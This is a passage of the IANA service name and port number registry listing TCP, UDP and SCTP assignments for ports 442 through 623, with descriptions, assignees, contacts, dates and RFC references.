cvc_hostd           442        tcp    cvc_hostd                    [Bill_Davidson]                                       [Bill_Davidson]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      cvc_hostd

cvc-hostd           442        udp    IANA assigned this           [Bill_Davidson]                                       [Bill_Davidson]
                                      well-formed service name as
                                      a replacement for
                                      "cvc_hostd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "cvc-hostd". This entry is now
cvc_hostd           442        udp    cvc_hostd                    [Bill_Davidson]                                       [Bill_Davidson]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
https               443        tcp    http protocol over TLS/SSL   [IESG]                                                [IETF_Chair]                                                           2018-07-06
https               443        udp    http protocol over TLS/SSL   [IESG]                                                [IETF_Chair]                                                           2018-07-06
https               443       sctp    HTTPS                        [Randall_Stewart]                                     [Randall_Stewart]                                                                   [RFC4960]
snpp                444        tcp    Simple Network Paging                                                                                                                                                  [RFC1568]
                                      Protocol
snpp                444        udp    Simple Network Paging                                                                                                                                                  [RFC1568]
                                      Protocol
microsoft-ds        445        tcp    Microsoft-DS                 [Pradeep_Bahl]                                        [Pradeep_Bahl]
microsoft-ds        445        udp    Microsoft-DS                 [Pradeep_Bahl]                                        [Pradeep_Bahl]
ddm-rdb             446        tcp    DDM-Remote Relational
                                      Database Access
ddm-rdb             446        udp    DDM-Remote Relational
                                      Database Access
ddm-dfm             447        tcp    DDM-Distributed File         [Steven_Ritland]                                      [Steven_Ritland]
                                      Management
ddm-dfm             447        udp    DDM-Distributed File         [Steven_Ritland]                                      [Steven_Ritland]
                                      Management
ddm-ssl             448        tcp    DDM-Remote DB Access Using   [Steven_Ritland]                                      [Steven_Ritland]
                                      Secure Sockets
ddm-ssl             448        udp    DDM-Remote DB Access Using   [Steven_Ritland]                                      [Steven_Ritland]
                                      Secure Sockets
as-servermap        449        tcp    AS Server Mapper             [Barbara_Foss]                                        [Barbara_Foss]
as-servermap        449        udp    AS Server Mapper             [Barbara_Foss]                                        [Barbara_Foss]
                                      Computer Supported
tserver             450        tcp    Telecomunication             [Harvey_S_Schultz]                                    [Harvey_S_Schultz]
                                      Applications
                                      Computer Supported
tserver             450        udp    Telecomunication             [Harvey_S_Schultz]                                    [Harvey_S_Schultz]
                                      Applications
sfs-smp-net         451        tcp    Cray Network Semaphore
                                      server
sfs-smp-net         451        udp    Cray Network Semaphore
                                      server
sfs-config          452        tcp    Cray SFS config server       [Walter_Poxon]                                        [Walter_Poxon]
sfs-config          452        udp    Cray SFS config server       [Walter_Poxon]                                        [Walter_Poxon]
creativeserver      453        tcp    CreativeServer
creativeserver      453        udp    CreativeServer
contentserver       454        tcp    ContentServer
contentserver       454        udp    ContentServer
creativepartnr      455        tcp    CreativePartnr               [Jesus_Ortiz]                                         [Jesus_Ortiz]
creativepartnr      455        udp    CreativePartnr               [Jesus_Ortiz]                                         [Jesus_Ortiz]
macon-tcp           456        tcp    macon-tcp                    [Yoshinobu_Inoue]                                     [Yoshinobu_Inoue]
macon-udp           456        udp    macon-udp                    [Yoshinobu_Inoue]                                     [Yoshinobu_Inoue]
scohelp             457        tcp    scohelp                      [Faith_Zack]                                          [Faith_Zack]
scohelp             457        udp    scohelp                      [Faith_Zack]                                          [Faith_Zack]
appleqtc            458        tcp    apple quick time             [Murali_Ranganathan]                                  [Murali_Ranganathan]
appleqtc            458        udp    apple quick time             [Murali_Ranganathan]                                  [Murali_Ranganathan]
ampr-rcmd           459        tcp    ampr-rcmd                    [Rob_Janssen]                                         [Rob_Janssen]
ampr-rcmd           459        udp    ampr-rcmd                    [Rob_Janssen]                                         [Rob_Janssen]
skronk              460        tcp    skronk                       [Henry_Strickland]                                    [Henry_Strickland]
skronk              460        udp    skronk                       [Henry_Strickland]                                    [Henry_Strickland]
datasurfsrv         461        tcp    DataRampSrv
datasurfsrv         461        udp    DataRampSrv
datasurfsrvsec      462        tcp    DataRampSrvSec               [Diane_Downie]                                        [Diane_Downie]
datasurfsrvsec      462        udp    DataRampSrvSec               [Diane_Downie]                                        [Diane_Downie]
alpes               463        tcp    alpes                        [Alain_Durand]                                        [Alain_Durand]
alpes               463        udp    alpes                        [Alain_Durand]                                        [Alain_Durand]
kpasswd             464        tcp    kpasswd                      [Theodore_Ts_o]                                       [Theodore_Ts_o]
kpasswd             464        udp    kpasswd                      [Theodore_Ts_o]                                       [Theodore_Ts_o]
urd                 465        tcp    URL Rendezvous Directory for [Toerless_Eckert]                                     [Toerless_Eckert]
                                      SSM
submissions         465        tcp    Message Submission over TLS  [IESG]                                                [IETF_Chair]                                              2017-12-12                [RFC8314]
                                      protocol
igmpv3lite          465        udp    IGMP over UDP for SSM        [Toerless_Eckert]                                     [Toerless_Eckert]
digital-vrc         466        tcp    digital-vrc                  [Peter_Higginson]                                     [Peter_Higginson]
digital-vrc         466        udp    digital-vrc                  [Peter_Higginson]                                     [Peter_Higginson]
mylex-mapd          467        tcp    mylex-mapd                   [Gary_Lewis]                                          [Gary_Lewis]
mylex-mapd          467        udp    mylex-mapd                   [Gary_Lewis]                                          [Gary_Lewis]
photuris            468        tcp    proturis                     [Bill_Simpson_2]                                      [Bill_Simpson_2]
photuris            468        udp    proturis                     [Bill_Simpson_2]                                      [Bill_Simpson_2]
rcp                 469        tcp    Radio Control Protocol       [Jim_Jennings]                                        [Jim_Jennings]
rcp                 469        udp    Radio Control Protocol       [Jim_Jennings]                                        [Jim_Jennings]
scx-proxy           470        tcp    scx-proxy                    [Scott_Narveson]                                      [Scott_Narveson]
scx-proxy           470        udp    scx-proxy                    [Scott_Narveson]                                      [Scott_Narveson]
mondex              471        tcp    Mondex                       [Bill_Reding]                                         [Bill_Reding]
mondex              471        udp    Mondex                       [Bill_Reding]                                         [Bill_Reding]
ljk-login           472        tcp    ljk-login                    [LJK]                                                 [LJK]
ljk-login           472        udp    ljk-login                    [LJK]                                                 [LJK]
hybrid-pop          473        tcp    hybrid-pop                   [Rami_Rubin]                                          [Rami_Rubin]
hybrid-pop          473        udp    hybrid-pop                   [Rami_Rubin]                                          [Rami_Rubin]
tn-tl-w1            474        tcp    tn-tl-w1
tn-tl-w2            474        udp    tn-tl-w2                     [Ed_Kress]                                            [Ed_Kress]
tcpnethaspsrv       475        tcp    tcpnethaspsrv                [Michael_Zunke]                                       [Michael_Zunke]                                           2010-07-23
tcpnethaspsrv       475        udp    tcpnethaspsrv                [Michael_Zunke]                                       [Michael_Zunke]                                           2010-07-23
tn-tl-fd1           476        tcp    tn-tl-fd1                    [Ed_Kress]                                            [Ed_Kress]
tn-tl-fd1           476        udp    tn-tl-fd1                    [Ed_Kress]                                            [Ed_Kress]
ss7ns               477        tcp    ss7ns                        [Jean_Michel_URSCH]                                   [Jean_Michel_URSCH]
ss7ns               477        udp    ss7ns                        [Jean_Michel_URSCH]                                   [Jean_Michel_URSCH]
spsc                478        tcp    spsc                         [Mike_Rieker]                                         [Mike_Rieker]
spsc                478        udp    spsc                         [Mike_Rieker]                                         [Mike_Rieker]
iafserver           479        tcp    iafserver
iafserver           479        udp    iafserver
iafdbase            480        tcp    iafdbase                     [Rick_Yazwinski]                                      [Rick_Yazwinski]
iafdbase            480        udp    iafdbase                     [Rick_Yazwinski]                                      [Rick_Yazwinski]
ph                  481        tcp    Ph service                   [Roland_Hedberg]                                      [Roland_Hedberg]
ph                  481        udp    Ph service                   [Roland_Hedberg]                                      [Roland_Hedberg]
bgs-nsi             482        tcp    bgs-nsi                      [Jon_Saperia]                                         [Jon_Saperia]
bgs-nsi             482        udp    bgs-nsi                      [Jon_Saperia]                                         [Jon_Saperia]
ulpnet              483        tcp    ulpnet                       [Kevin_Mooney]                                        [Kevin_Mooney]
ulpnet              483        udp    ulpnet                       [Kevin_Mooney]                                        [Kevin_Mooney]
integra-sme         484        tcp    Integra Software Management  [Randall_Dow]                                         [Randall_Dow]
                                      Environment
integra-sme         484        udp    Integra Software Management  [Randall_Dow]                                         [Randall_Dow]
                                      Environment
powerburst          485        tcp    Air Soft Power Burst         [gary]                                                [gary]
powerburst          485        udp    Air Soft Power Burst         [gary]                                                [gary]
avian               486        tcp    avian                        [Robert_Ullmann_2]                                    [Robert_Ullmann_2]
avian               486        udp    avian                        [Robert_Ullmann_2]                                    [Robert_Ullmann_2]
saft                487        tcp    saft Simple Asynchronous     [Ulli_Horlacher]                                      [Ulli_Horlacher]
                                      File Transfer
saft                487        udp    saft Simple Asynchronous     [Ulli_Horlacher]                                      [Ulli_Horlacher]
                                      File Transfer
gss-http            488        tcp    gss-http                     [Doug_Rosenthal]                                      [Doug_Rosenthal]
gss-http            488        udp    gss-http                     [Doug_Rosenthal]                                      [Doug_Rosenthal]
nest-protocol       489        tcp    nest-protocol                [Gilles_Gameiro]                                      [Gilles_Gameiro]
nest-protocol       489        udp    nest-protocol                [Gilles_Gameiro]                                      [Gilles_Gameiro]
micom-pfs           490        tcp    micom-pfs                    [David_Misunas]                                       [David_Misunas]
micom-pfs           490        udp    micom-pfs                    [David_Misunas]                                       [David_Misunas]
go-login            491        tcp    go-login                     [Troy_Morrison]                                       [Troy_Morrison]
go-login            491        udp    go-login                     [Troy_Morrison]                                       [Troy_Morrison]
ticf-1              492        tcp    Transport Independent
                                      Convergence for FNA
ticf-1              492        udp    Transport Independent
                                      Convergence for FNA
ticf-2              493        tcp    Transport Independent        [Mamoru_Ito]                                          [Mamoru_Ito]
                                      Convergence for FNA
ticf-2              493        udp    Transport Independent        [Mamoru_Ito]                                          [Mamoru_Ito]
                                      Convergence for FNA
pov-ray             494        tcp    POV-Ray                      [POV_Team_Co_ordinato]                                [POV_Team_Co_ordinato]
pov-ray             494        udp    POV-Ray                      [POV_Team_Co_ordinato]                                [POV_Team_Co_ordinato]
intecourier         495        tcp    intecourier                  [Steve_Favor]                                         [Steve_Favor]
intecourier         495        udp    intecourier                  [Steve_Favor]                                         [Steve_Favor]
pim-rp-disc         496        tcp    PIM-RP-DISC                  [Dino_Farinacci]                                      [Dino_Farinacci]
pim-rp-disc         496        udp    PIM-RP-DISC                  [Dino_Farinacci]                                      [Dino_Farinacci]
retrospect          497        tcp    Retrospect backup and        [Retrospect_Inc]                                      [JG_Heithcock]                                                         2012-02-02
                                      restore service
retrospect          497        udp    Retrospect backup and        [Retrospect_Inc]                                      [JG_Heithcock]                                                         2012-02-02
                                      restore service
siam                498        tcp    siam                         [Philippe_Gilbert]                                    [Philippe_Gilbert]
siam                498        udp    siam                         [Philippe_Gilbert]                                    [Philippe_Gilbert]
iso-ill             499        tcp    ISO ILL Protocol             [Mark_H_Needleman]                                    [Mark_H_Needleman]
iso-ill             499        udp    ISO ILL Protocol             [Mark_H_Needleman]                                    [Mark_H_Needleman]
isakmp              500        tcp    isakmp                       [Mark_Schertler]                                      [Mark_Schertler]
isakmp              500        udp    isakmp                       [Mark_Schertler]                                      [Mark_Schertler]
stmf                501        tcp    STMF                         [Alan_Ungar]                                          [Alan_Ungar]
stmf                501        udp    STMF                         [Alan_Ungar]                                          [Alan_Ungar]
mbap                502        tcp    Modbus Application Protocol  [modbus.org]                                          [Dennis_Dube]                                                          2014-06-10
mbap                502        udp    Modbus Application Protocol  [modbus.org]                                          [Dennis_Dube]                                                          2014-06-10
intrinsa            503        tcp    Intrinsa                     [Robert_Ford]                                         [Robert_Ford]
intrinsa            503        udp    Intrinsa                     [Robert_Ford]                                         [Robert_Ford]
citadel             504        tcp    citadel                      [Art_Cancro]                                          [Art_Cancro]
citadel             504        udp    citadel                      [Art_Cancro]                                          [Art_Cancro]
mailbox-lm          505        tcp    mailbox-lm                   [Beverly_Moody]                                       [Beverly_Moody]
mailbox-lm          505        udp    mailbox-lm                   [Beverly_Moody]                                       [Beverly_Moody]
ohimsrv             506        tcp    ohimsrv                      [Scott_Powell]                                        [Scott_Powell]
ohimsrv             506        udp    ohimsrv                      [Scott_Powell]                                        [Scott_Powell]
crs                 507        tcp    crs                          [Brad_Wright]                                         [Brad_Wright]
crs                 507        udp    crs                          [Brad_Wright]                                         [Brad_Wright]
xvttp               508        tcp    xvttp                        [Keith_J_Alphonso]                                    [Keith_J_Alphonso]
xvttp               508        udp    xvttp                        [Keith_J_Alphonso]                                    [Keith_J_Alphonso]
snare               509        tcp    snare                        [Dennis_Batchelder]                                   [Dennis_Batchelder]
snare               509        udp    snare                        [Dennis_Batchelder]                                   [Dennis_Batchelder]
fcp                 510        tcp    FirstClass Protocol          [Mike_Marshburn]                                      [Mike_Marshburn]
fcp                 510        udp    FirstClass Protocol          [Mike_Marshburn]                                      [Mike_Marshburn]
passgo              511        tcp    PassGo                       [John_Rainford]                                       [John_Rainford]
passgo              511        udp    PassGo                       [John_Rainford]                                       [John_Rainford]
                                      remote process execution;
exec                512        tcp    authentication performed
                                      using passwords and UNIX
                                      login names
comsat              512        udp
                                      used by mail system to
                                      notify users of new mail
biff                512        udp    received; currently receives
                                      messages only from processes
                                      on the same machine
                                      remote login a la telnet;
                                      automatic authentication
                                      performed based on
login               513        tcp    priviledged port numbers and
                                      distributed data bases which
                                      identify "authentication
                                      domains"
                                      maintains data bases showing
who                 513        udp    who's logged in to machines
                                      on a local net and the load
                                      average of the machine
                                      cmd like exec, but automatic
shell               514        tcp    authentication is performed
                                      as for login server
syslog              514        udp
printer             515        tcp    spooler
printer             515        udp    spooler
videotex            516        tcp    videotex                     [Daniel_Mavrakis]                                     [Daniel_Mavrakis]
videotex            516        udp    videotex                     [Daniel_Mavrakis]                                     [Daniel_Mavrakis]
                                      like tenex link, but across
                                      machine - unfortunately,
                                      doesn't use link protocol
talk                517        tcp    (this is actually just a
                                      rendezvous port from which a
                                      tcp connection is
                                      established)
                                      like tenex link, but across
                                      machine - unfortunately,
                                      doesn't use link protocol
talk                517        udp    (this is actually just a
                                      rendezvous port from which a
                                      tcp connection is
                                      established)
ntalk               518        tcp
ntalk               518        udp
utime               519        tcp    unixtime
utime               519        udp    unixtime
efs                 520        tcp    extended file name server
                                      local routing process (on
router              520        udp    site); uses variant of Xerox
                                      NS routing information
                                      protocol - RIP
ripng               521        tcp    ripng                        [Robert_E_Minnear]                                    [Robert_E_Minnear]
ripng               521        udp    ripng                        [Robert_E_Minnear]                                    [Robert_E_Minnear]
ulp                 522        tcp    ULP                          [Max_Morris]                                          [Max_Morris]
ulp                 522        udp    ULP                          [Max_Morris]                                          [Max_Morris]
ibm-db2             523        tcp    IBM-DB2                      [Juliana_Hsu]                                         [Juliana_Hsu]
ibm-db2             523        udp    IBM-DB2                      [Juliana_Hsu]                                         [Juliana_Hsu]
ncp                 524        tcp    NCP                          [Don_Provan_2]                                        [Don_Provan_2]
ncp                 524        udp    NCP                          [Don_Provan_2]                                        [Don_Provan_2]
timed               525        tcp    timeserver
timed               525        udp    timeserver
tempo               526        tcp    newdate
tempo               526        udp    newdate
stx                 527        tcp    Stock IXChange               [Fraxion_Software]                                    [Ferdi_Ladeira]                                                        2012-03-21
stx                 527        udp    Stock IXChange               [Fraxion_Software]                                    [Ferdi_Ladeira]                                                        2012-03-21
custix              528        tcp    Customer IXChange            [Fraxion_Software]                                    [Ferdi_Ladeira]                                                        2012-03-21
custix              528        udp    Customer IXChange            [Fraxion_Software]                                    [Ferdi_Ladeira]                                                        2012-03-21
irc-serv            529        tcp    IRC-SERV                     [Brian_Tackett]                                       [Brian_Tackett]
irc-serv            529        udp    IRC-SERV                     [Brian_Tackett]                                       [Brian_Tackett]
courier             530        tcp    rpc
courier             530        udp    rpc
conference          531        tcp    chat
conference          531        udp    chat
netnews             532        tcp    readnews
netnews             532        udp    readnews
netwall             533        tcp    for emergency broadcasts     [Andreas_Heidemann]                                   [Andreas_Heidemann]
netwall             533        udp    for emergency broadcasts     [Andreas_Heidemann]                                   [Andreas_Heidemann]
windream            534        tcp    windream Admin               [Uwe_Honermann]                                       [Uwe_Honermann]
windream            534        udp    windream Admin               [Uwe_Honermann]                                       [Uwe_Honermann]
iiop                535        tcp    iiop                         [Jeff_M_Michaud]                                      [Jeff_M_Michaud]
iiop                535        udp    iiop                         [Jeff_M_Michaud]                                      [Jeff_M_Michaud]
opalis-rdv          536        tcp    opalis-rdv                   [Laurent_Domenech]                                    [Laurent_Domenech]
opalis-rdv          536        udp    opalis-rdv                   [Laurent_Domenech]                                    [Laurent_Domenech]
nmsp                537        tcp    Networked Media Streaming    [Paul_Santinelli_Jr]                                  [Paul_Santinelli_Jr]
                                      Protocol
nmsp                537        udp    Networked Media Streaming    [Paul_Santinelli_Jr]                                  [Paul_Santinelli_Jr]
                                      Protocol
gdomap              538        tcp    gdomap                       [Richard_Frith_Macdon]                                [Richard_Frith_Macdon]
gdomap              538        udp    gdomap                       [Richard_Frith_Macdon]                                [Richard_Frith_Macdon]
apertus-ldp         539        tcp    Apertus Technologies Load
                                      Determination
apertus-ldp         539        udp    Apertus Technologies Load
                                      Determination
uucp                540        tcp    uucpd
uucp                540        udp    uucpd
uucp-rlogin         541        tcp    uucp-rlogin                  [Stuart_Lynne]                                        [Stuart_Lynne]
uucp-rlogin         541        udp    uucp-rlogin                  [Stuart_Lynne]                                        [Stuart_Lynne]
commerce            542        tcp    commerce                     [Randy_Epstein]                                       [Randy_Epstein]
commerce            542        udp    commerce                     [Randy_Epstein]                                       [Randy_Epstein]
klogin              543        tcp
klogin              543        udp
kshell              544        tcp    krcmd
kshell              544        udp    krcmd
appleqtcsrvr        545        tcp    appleqtcsrvr                 [Murali_Ranganathan]                                  [Murali_Ranganathan]
appleqtcsrvr        545        udp    appleqtcsrvr                 [Murali_Ranganathan]                                  [Murali_Ranganathan]
dhcpv6-client       546        tcp    DHCPv6 Client
dhcpv6-client       546        udp    DHCPv6 Client                [IESG]                                                [IETF_Chair]                                                           2018-05-21   [RFC8415]
dhcpv6-server       547        tcp    DHCPv6 Server                [IESG]                                                [IETF_Chair]                                                           2018-05-21   [RFC5460]
dhcpv6-server       547        udp    DHCPv6 Server                [IESG]                                                [IETF_Chair]                                                           2018-05-21   [RFC8415]
afpovertcp          548        tcp    AFP over TCP                 [Leland_Wallace]                                      [Leland_Wallace]                                                                                                                                         Defined TXT keys: u=<username> p=<password> path=<path>
afpovertcp          548        udp    AFP over TCP                 [Leland_Wallace]                                      [Leland_Wallace]                                                                                                                                         Defined TXT keys: u=<username> p=<password> path=<path>
idfp                549        tcp    IDFP                         [Ramana_Kovi]                                         [Ramana_Kovi]
idfp                549        udp    IDFP                         [Ramana_Kovi]                                         [Ramana_Kovi]
new-rwho            550        tcp    new-who                                                                                                                                                                [n/a]
new-rwho            550        udp    new-who                                                                                                                                                                [n/a]
cybercash           551        tcp    cybercash                    [Donald_E_Eastlake]                                   [Donald_E_Eastlake]                                                                 [RFC1898]
cybercash           551        udp    cybercash                    [Donald_E_Eastlake]                                   [Donald_E_Eastlake]                                                                 [RFC1898]
devshr-nts          552        tcp    DeviceShare                  [Benjamin_Rosenberg]                                  [Benjamin_Rosenberg]
devshr-nts          552        udp    DeviceShare                  [Benjamin_Rosenberg]                                  [Benjamin_Rosenberg]
pirp                553        tcp    pirp                         [D_J_Bernstein]                                       [D_J_Bernstein]
pirp                553        udp    pirp                         [D_J_Bernstein]                                       [D_J_Bernstein]
rtsp                554        tcp    Real Time Streaming Protocol [Rob_Lanphier]                                        [Rob_Lanphier]
                                      (RTSP)
rtsp                554        udp    Real Time Streaming Protocol [Rob_Lanphier]                                        [Rob_Lanphier]
                                      (RTSP)
dsf                 555        tcp
dsf                 555        udp
remotefs            556        tcp    rfs server
remotefs            556        udp    rfs server
openvms-sysipc      557        tcp    openvms-sysipc               [Alan_Potter]                                         [Alan_Potter]
openvms-sysipc      557        udp    openvms-sysipc               [Alan_Potter]                                         [Alan_Potter]
sdnskmp             558        tcp    SDNSKMP
sdnskmp             558        udp    SDNSKMP
teedtap             559        tcp    TEEDTAP                      [Charlie_Limoges]                                     [Charlie_Limoges]
teedtap             559        udp    TEEDTAP                      [Charlie_Limoges]                                     [Charlie_Limoges]
rmonitor            560        tcp    rmonitord
rmonitor            560        udp    rmonitord
monitor             561        tcp
monitor             561        udp
chshell             562        tcp    chcmd
chshell             562        udp    chcmd
nntps               563        tcp    nntp protocol over TLS/SSL   [IESG]                                                [IETF_Chair]                                                           2018-07-06   [RFC4642]
                                      (was snntp)
nntps               563        udp    nntp protocol over TLS/SSL   [IESG]                                                [IETF_Chair]                                                           2018-07-06   [RFC4642]
                                      (was snntp)
9pfs                564        tcp    plan 9 file service
9pfs                564        udp    plan 9 file service
whoami              565        tcp    whoami
whoami              565        udp    whoami
streettalk          566        tcp    streettalk
streettalk          566        udp    streettalk
banyan-rpc          567        tcp    banyan-rpc                   [Tom_Lemaire]                                         [Tom_Lemaire]
banyan-rpc          567        udp    banyan-rpc                   [Tom_Lemaire]                                         [Tom_Lemaire]
ms-shuttle          568        tcp    microsoft shuttle            [Rudolph_Balaz]                                       [Rudolph_Balaz]
ms-shuttle          568        udp    microsoft shuttle            [Rudolph_Balaz]                                       [Rudolph_Balaz]
ms-rome             569        tcp    microsoft rome               [Rudolph_Balaz]                                       [Rudolph_Balaz]
ms-rome             569        udp    microsoft rome               [Rudolph_Balaz]                                       [Rudolph_Balaz]
meter               570        tcp    demon
meter               570        udp    demon
meter               571        tcp    udemon
meter               571        udp    udemon
sonar               572        tcp    sonar                        [Keith_Moore]                                         [Keith_Moore]
sonar               572        udp    sonar                        [Keith_Moore]                                         [Keith_Moore]
banyan-vip          573        tcp    banyan-vip                   [Denis_Leclerc]                                       [Denis_Leclerc]
banyan-vip          573        udp    banyan-vip                   [Denis_Leclerc]                                       [Denis_Leclerc]
ftp-agent           574        tcp    FTP Software Agent System    [Michael_S_Greenberg]                                 [Michael_S_Greenberg]
ftp-agent           574        udp    FTP Software Agent System    [Michael_S_Greenberg]                                 [Michael_S_Greenberg]
vemmi               575        tcp    VEMMI                        [Daniel_Mavrakis_2]                                   [Daniel_Mavrakis_2]
vemmi               575        udp    VEMMI                        [Daniel_Mavrakis_2]                                   [Daniel_Mavrakis_2]
ipcd                576        tcp    ipcd
ipcd                576        udp    ipcd
vnas                577        tcp    vnas
vnas                577        udp    vnas
ipdd                578        tcp    ipdd                         [Jay_Farhat]                                          [Jay_Farhat]
ipdd                578        udp    ipdd                         [Jay_Farhat]                                          [Jay_Farhat]
decbsrv             579        tcp    decbsrv                      [Rudi_Martin]                                         [Rudi_Martin]
decbsrv             579        udp    decbsrv                      [Rudi_Martin]                                         [Rudi_Martin]
sntp-heartbeat      580        tcp    SNTP HEARTBEAT               [Louis_Mamakos_2]                                     [Louis_Mamakos_2]
sntp-heartbeat      580        udp    SNTP HEARTBEAT               [Louis_Mamakos_2]                                     [Louis_Mamakos_2]
bdp                 581        tcp    Bundle Discovery Protocol    [Gary_Malkin]                                         [Gary_Malkin]
bdp                 581        udp    Bundle Discovery Protocol    [Gary_Malkin]                                         [Gary_Malkin]
scc-security        582        tcp    SCC Security                 [Prashant_Dholakia]                                   [Prashant_Dholakia]
scc-security        582        udp    SCC Security                 [Prashant_Dholakia]                                   [Prashant_Dholakia]
philips-vc          583        tcp    Philips Video-Conferencing   [Janna_Chang]                                         [Janna_Chang]
philips-vc          583        udp    Philips Video-Conferencing   [Janna_Chang]                                         [Janna_Chang]
keyserver           584        tcp    Key Server                   [Gary_Howland]                                        [Gary_Howland]
keyserver           584        udp    Key Server                   [Gary_Howland]                                        [Gary_Howland]
                    585               De-registered                                                                                                                                             2006-04-25                                                                        Use of 585 is not recommended, use 993 instead
password-chg        586        tcp    Password Change
password-chg        586        udp    Password Change
submission          587        tcp    Message Submission                                                                                                                                        2011-11-17   [RFC6409]
submission          587        udp    Message Submission                                                                                                                                        2011-11-17   [RFC6409]
cal                 588        tcp    CAL                          [Myron_Hattig]                                        [Myron_Hattig]
cal                 588        udp    CAL                          [Myron_Hattig]                                        [Myron_Hattig]
eyelink             589        tcp    EyeLink                      [Dave_Stampe]                                         [Dave_Stampe]
eyelink             589        udp    EyeLink                      [Dave_Stampe]                                         [Dave_Stampe]
tns-cml             590        tcp    TNS CML                      [Jerome_Albin]                                        [Jerome_Albin]
tns-cml             590        udp    TNS CML                      [Jerome_Albin]                                        [Jerome_Albin]
http-alt            591        tcp    FileMaker, Inc. - HTTP       [Clay_Maeckel]                                        [Clay_Maeckel]
                                      Alternate (see Port 80)
http-alt            591        udp    FileMaker, Inc. - HTTP       [Clay_Maeckel]                                        [Clay_Maeckel]
                                      Alternate (see Port 80)
eudora-set          592        tcp    Eudora Set                   [Randall_Gellens]                                     [Randall_Gellens]
eudora-set          592        udp    Eudora Set                   [Randall_Gellens]                                     [Randall_Gellens]
http-rpc-epmap      593        tcp    HTTP RPC Ep Map              [Edward_Reus]                                         [Edward_Reus]
http-rpc-epmap      593        udp    HTTP RPC Ep Map              [Edward_Reus]                                         [Edward_Reus]
tpip                594        tcp    TPIP                         [Brad_Spear]                                          [Brad_Spear]
tpip                594        udp    TPIP                         [Brad_Spear]                                          [Brad_Spear]
cab-protocol        595        tcp    CAB Protocol                 [Winston_Hetherington]                                [Winston_Hetherington]
cab-protocol        595        udp    CAB Protocol                 [Winston_Hetherington]                                [Winston_Hetherington]
smsd                596        tcp    SMSD                         [Wayne_Barlow]                                        [Wayne_Barlow]
smsd                596        udp    SMSD                         [Wayne_Barlow]                                        [Wayne_Barlow]
ptcnameservice      597        tcp    PTC Name Service             [Yuri_Machkasov]                                      [Yuri_Machkasov]
ptcnameservice      597        udp    PTC Name Service             [Yuri_Machkasov]                                      [Yuri_Machkasov]
sco-websrvrmg3      598        tcp    SCO Web Server Manager 3     [Simon_Baldwin]                                       [Simon_Baldwin]
sco-websrvrmg3      598        udp    SCO Web Server Manager 3     [Simon_Baldwin]                                       [Simon_Baldwin]
acp                 599        tcp    Aeolon Core Protocol         [Michael_Alyn_Miller]                                 [Michael_Alyn_Miller]
acp                 599        udp    Aeolon Core Protocol         [Michael_Alyn_Miller]                                 [Michael_Alyn_Miller]
ipcserver           600        tcp    Sun IPC server               [Bill_Schiefelbein]                                   [Bill_Schiefelbein]
ipcserver           600        udp    Sun IPC server               [Bill_Schiefelbein]                                   [Bill_Schiefelbein]
syslog-conn         601        tcp    Reliable Syslog Service                                                                                                                                                [RFC3195]
syslog-conn         601        udp    Reliable Syslog Service                                                                                                                                                [RFC3195]
xmlrpc-beep         602        tcp    XML-RPC over BEEP                                                                                                                                                      [RFC3529]
xmlrpc-beep         602        udp    XML-RPC over BEEP                                                                                                                                                      [RFC3529]
idxp                603        tcp    IDXP                                                                                                                                                                   [RFC4767]
idxp                603        udp    IDXP                                                                                                                                                                   [RFC4767]
tunnel              604        tcp    TUNNEL                                                                                                                                                                 [RFC3620]
tunnel              604        udp    TUNNEL                                                                                                                                                                 [RFC3620]
soap-beep           605        tcp    SOAP over BEEP                                                                                                                                                         [RFC4227]
soap-beep           605        udp    SOAP over BEEP                                                                                                                                                         [RFC4227]
urm                 606        tcp    Cray Unified Resource
                                      Manager
urm                 606        udp    Cray Unified Resource
                                      Manager
nqs                 607        tcp    nqs                          [Bill_Schiefelbein]                                   [Bill_Schiefelbein]
nqs                 607        udp    nqs                          [Bill_Schiefelbein]                                   [Bill_Schiefelbein]
sift-uft            608        tcp    Sender-Initiated/Unsolicited [Rick_Troth]                                          [Rick_Troth]
                                      File Transfer
sift-uft            608        udp    Sender-Initiated/Unsolicited [Rick_Troth]                                          [Rick_Troth]
                                      File Transfer
npmp-trap           609        tcp    npmp-trap
npmp-trap           609        udp    npmp-trap
npmp-local          610        tcp    npmp-local
npmp-local          610        udp    npmp-local
npmp-gui            611        tcp    npmp-gui                     [John_Barnes]                                         [John_Barnes]
npmp-gui            611        udp    npmp-gui                     [John_Barnes]                                         [John_Barnes]
hmmp-ind            612        tcp    HMMP Indication
hmmp-ind            612        udp    HMMP Indication
hmmp-op             613        tcp    HMMP Operation               [Andrew_Sinclair]                                     [Andrew_Sinclair]
hmmp-op             613        udp    HMMP Operation               [Andrew_Sinclair]                                     [Andrew_Sinclair]
sshell              614        tcp    SSLshell                     [Simon_J_Gerraty]                                     [Simon_J_Gerraty]
sshell              614        udp    SSLshell                     [Simon_J_Gerraty]                                     [Simon_J_Gerraty]
sco-inetmgr         615        tcp    Internet Configuration
                                      Manager
sco-inetmgr         615        udp    Internet Configuration
                                      Manager
sco-sysmgr          616        tcp    SCO System Administration
                                      Server
sco-sysmgr          616        udp    SCO System Administration
                                      Server
sco-dtmgr           617        tcp    SCO Desktop Administration   [Christopher_Durham]                                  [Christopher_Durham]
                                      Server
sco-dtmgr           617        udp    SCO Desktop Administration   [Christopher_Durham]                                  [Christopher_Durham]
                                      Server
dei-icda            618        tcp    DEI-ICDA                     [David_Turner]                                        [David_Turner]
dei-icda            618        udp    DEI-ICDA                     [David_Turner]                                        [David_Turner]
compaq-evm          619        tcp    Compaq EVM                   [Jem_Treadwell]                                       [Jem_Treadwell]
compaq-evm          619        udp    Compaq EVM                   [Jem_Treadwell]                                       [Jem_Treadwell]
sco-websrvrmgr      620        tcp    SCO WebServer Manager        [Christopher_Durham]                                  [Christopher_Durham]
sco-websrvrmgr      620        udp    SCO WebServer Manager        [Christopher_Durham]                                  [Christopher_Durham]
escp-ip             621        tcp    ESCP                         [Lai_Zit_Seng]                                        [Lai_Zit_Seng]
escp-ip             621        udp    ESCP                         [Lai_Zit_Seng]                                        [Lai_Zit_Seng]
collaborator        622        tcp    Collaborator                 [Johnson_Davis]                                       [Johnson_Davis]
collaborator        622        udp    Collaborator                 [Johnson_Davis]                                       [Johnson_Davis]
oob-ws-http         623        tcp    DMTF out-of-band web         [Jim_Davis]                                           [Jim_Davis]                                               2007-06
                                      services management protocol
asf-rmcp            623        udp    ASF Remote Management and    [Carl_First]                                          [Carl_First]
